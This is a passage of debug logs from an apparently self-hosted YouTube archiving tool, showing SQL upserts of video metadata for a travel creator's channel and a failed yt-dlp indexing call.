s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:26.077 [debug] QUERY OK source="sources" db=0.2ms idle=295.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:26.078 [debug] QUERY OK source="media_items" db=0.3ms idle=295.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 19:30:26.079 [debug] QUERY OK source="media_items" db=0.8ms idle=296.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "ae14ad08-49be-4ca0-9d27-df0f11da6557", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 02:30:26Z], ~U[2026-08-20 02:30:26Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 19:30:26.080 [debug] QUERY OK source="sources" db=0.2ms idle=103.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:26.080 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:30:26.081 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18994] 19:30:26.081 [debug] Current batch of media processed. Will check again in 1000ms 19:30:27.082 [debug] Current batch of media processed. Will check again in 1000ms 19:30:27.396 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mikeokay --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Mike Okay/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/a0/01/a001d4bea15568ad01b767e4190aac7b3e5a39dfb10266732166aec728f400ee.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/18/f3/18f383a66769b2b5bed8c7855a7fbd1f93e1de69bc694372badbea21f3e0be05.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 19:30:27.397 [debug] Gracefully stopping file follower 19:30:27.397 [debug] QUERY OK source="sources" db=0.3ms idle=1317.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 19:30:27.397 [debug] QUERY OK source="sources" db=0.1ms idle=1317.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.398 [debug] QUERY OK source="media_items" db=0.2ms idle=1317.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-31 14:42:45Z], 3] 19:30:27.399 [debug] QUERY OK source="media_items" db=0.8ms idle=1317.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "41af24de-038a-4066-8fa7-8246f12a3129", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", 1, "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, false, false, 3, [], 98, ~U[2026-07-31 14:42:45Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Please check out Honglins channel https://www.youtube.com/@UC9cvxZKhyTPyrbfkRADh55g \n\nFor centuries, China's rivers have been vital to its survival. People from villages across the country used them to travel to the cities and sell their goods and wares. These rivers were once filled with thousands of boats carrying passengers in every direction. But today, China's road and highway network has become so vast and efficient that those boats became useless and went extinct.\n\nExcept one.\n\nWe found the last boat still operating for traders on the Yangtze River. But how is it surviving? Live streaming. The crew live stream the entire journey. Every second of it. And over 20,000 people tune in to watch. Many of them donate money. Enough that the boat runs for free.\n\nI wanted to document this boat. To find out whether this is truly a beautiful human story. Or a dystopian exploitation of the working class.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\nhttps://www.youtube.com/watch?v=k8tdg6v0FQo\n\nhttps://www.youtube.com/watch?v=EIlIbE9HuB4&t=378s\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #livestream #travel", "China's Working Class Is Live-Streaming To Survive", "qYWhjW08-pc", 2174, false, "https://www.youtube.com/watch?v=qYWhjW08-pc", "/downloads/shows/Mike Okay/Season 2026/s2026e073100 - China's Working Class Is Live-Streaming To Survive.mp4", false, 3, ~U[2026-07-31 14:42:45Z]] 19:30:27.400 [debug] QUERY OK source="sources" db=0.2ms idle=422.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.400 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-17 15:59:10Z], 3] 19:30:27.401 [debug] QUERY OK source="media_items" db=0.8ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "5e2494ef-0c65-43a3-9c5d-8b9252ce0118", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", 2, "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, false, false, 3, [], 98, ~U[2026-07-17 15:59:10Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe city of Chongqing is essentially built into a mountain. Due to its terrain the city needed manpower to transport its goods from place to place, since vehicles couldn’t tackle the hills. The bang bang men, named after the bamboo sticks placed along their shoulders used to carry up to 50kg on each side, were once 500,000 strong. Today there are less than 2000 of them.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #bangbang #travel", "China's Most Viral City Is Hiding a Dying Job", "k8tdg6v0FQo", 2334, false, "https://www.youtube.com/watch?v=k8tdg6v0FQo", "/downloads/shows/Mike Okay/Season 2026/s2026e071700 - China's Most Viral City Is Hiding a Dying Job.mp4", false, 3, ~U[2026-07-17 15:59:10Z]] 19:30:27.402 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.402 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-26 19:42:50Z], 3] 19:30:27.412 [debug] QUERY OK source="media_items" db=9.1ms idle=2.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "da3b7354-5819-4610-916f-5c53cacf5002", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", 3, "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, false, false, 3, [], 98, ~U[2026-06-26 19:42:50Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nCheck out Honglin's Channel here! - https://www.youtube.com/@Honglin65\n\nThe older I get the more interested I become in solitude. Living alone. \nToday I explore that interest. In China.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #lonely #travel", "China's Loneliest Man Shows Me His World", "7sCIBpshaCI", 2295, false, "https://www.youtube.com/watch?v=7sCIBpshaCI", "/downloads/shows/Mike Okay/Season 2026/s2026e062600 - China's Loneliest Man Shows Me His World.mp4", false, 3, ~U[2026-06-26 19:42:50Z]] 19:30:27.412 [debug] QUERY OK source="sources" db=0.2ms idle=11.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.413 [debug] QUERY OK source="media_items" db=0.2ms idle=11.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-19 15:55:20Z], 3] 19:30:27.414 [debug] QUERY OK source="media_items" db=0.6ms idle=11.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "5ae24912-c436-4998-87ef-e6ba8140fd06", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", 4, "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, false, false, 3, [], 98, ~U[2026-06-19 15:55:20Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Thanks to my buddy @McMungoTV for the help with this one!\n\nGo check out https://www.youtube.com/@UCHASrbCS-niYRn-Y3WX38pA \n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #redarmy #travel", "Inside China's Insane Propaganda Theme Park", "MEDlM-cA1Z8", 1064, false, "https://www.youtube.com/watch?v=MEDlM-cA1Z8", "/downloads/shows/Mike Okay/Season 2026/s2026e061900 - Inside China's Insane Propaganda Theme Park.mp4", false, 3, ~U[2026-06-19 15:55:20Z]] 19:30:27.414 [debug] QUERY OK source="sources" db=0.1ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.415 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-12 16:37:29Z], 3] 19:30:27.416 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "2c67aa30-9192-4cd2-9608-e00b4827aa67", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", 5, "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, false, false, 3, [], 98, ~U[2026-06-12 16:37:29Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://youtu.be/iXsCze3HtDQ?is=vKHYGZhMrTxWLNm6 \n\nCome with me on a journey to discover a cave village in China. YES! an actual village built into a cave. But who lived there? And why did they leave. Find out.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#china #cave #travel", "Finding China’s Lost Cave Village (30 years abandoned)", "B_S4NGLGbIM", 2055, false, "https://www.youtube.com/watch?v=B_S4NGLGbIM", "/downloads/shows/Mike Okay/Season 2026/s2026e061200 - Finding China’s Lost Cave Village (30 years abandoned).mp4", false, 3, ~U[2026-06-12 16:37:29Z]] 19:30:27.416 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.416 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 14:56:32Z], 3] 19:30:27.417 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "47fcd442-f66d-41f1-a695-84190a407038", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", 6, "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, false, false, 3, [], 98, ~U[2026-05-29 14:56:32Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nSakurajima erupts hundreds of times a year. Ash falls like snow. Roads are built to flood with lava. And 4,500 people choose to live here anyway.\nI went to find out why.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mikeokay@mvetalent.com\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#japan #volcano #travel", "4,000 People Live On Japan's Most Active Volcano", "EIlIbE9HuB4", 1894, false, "https://www.youtube.com/watch?v=EIlIbE9HuB4", "/downloads/shows/Mike Okay/Season 2026/s2026e052900 - 4,000 People Live On Japan's Most Active Volcano.mp4", false, 3, 